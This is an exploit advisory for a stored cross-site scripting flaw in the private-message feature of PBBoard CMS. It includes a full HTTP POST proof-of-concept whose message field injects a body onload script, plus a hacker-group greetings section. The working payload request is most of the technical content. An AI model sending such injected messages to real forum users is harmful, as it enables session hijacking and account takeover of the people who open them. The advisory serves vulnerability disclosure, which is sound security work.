############################################################################## # Exploit Title : PBBoard CMS Stored xss vulnerability# Author: Manish Kishan Tanwar# Vendor: http://www.pbboard.info/# version affected: all# Date: 7/12/2014 # Discovered @: INDISHELL Lab# Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti# email : manish.1046@gmail.com############################################################################## /////////////////////////// Overview:////////////////////////
Program PBBoard is interactive Forum management program Dialogic
Free classified software Free andopen source.///////////////////////////////// Vulnerability Description:///////////////////////////////
Stored xss vulnerability exist in"send private message" module, a user can send xss crafted private message to other user,and when reciever will open the message xss payload will execute
/////////////////////////////////Proof of Concept:-//////////////////////////////
go to "inbox", click "compose message"type username, title and message body , intercept the request and change the
content of "text" parameter with xss payload
when reciever will open the message, xss payload will execute
Proof image:- http://oi57.tinypic.com/112d5cx.jpg
/////////////////////////Demo POC Request/////////////////////////
POST /PBBoard_v3.0.1/index.php?page=pm_send&send=1&start=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0(Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/PBBoard_v3.0.1/index.php?page=pm_send&send=1&index=1&username=ica
Cookie: PowerBB_lastvisit=1417951132; PowerBB_username=ica; PowerBB_password=8a2d334536b2f4146af8cf46acd85110; security_level=0;PHPSESSID=thouojqch98pigioioepn8n2h1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------147872036312473
Content-Length:670-----------------------------147872036312473
Content-Disposition: form-data; name="to[]"
ica
-----------------------------147872036312473
Content-Disposition: form-data; name="title"
hi
-----------------------------147872036312473
Content-Disposition: form-data; name="text"
hii</div><font color=red><body onload="prompt( String.fromCharCode(120,115,115,32,116,101,115,116));">//-----------------------------147872036312473
Content-Disposition: form-data; name="icon"
look/images/icons/i1.gif
-----------------------------147872036312473
Content-Disposition: form-data; name="insert"
Save
-----------------------------147872036312473----==[[ Greetz To ]]==--#############################################################################################Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, #Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk#############################################################################################--==[[Love to]]==--# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik)--==[[ Special Fuck goes to ]]==--<3suriya Cyber Tyson <3
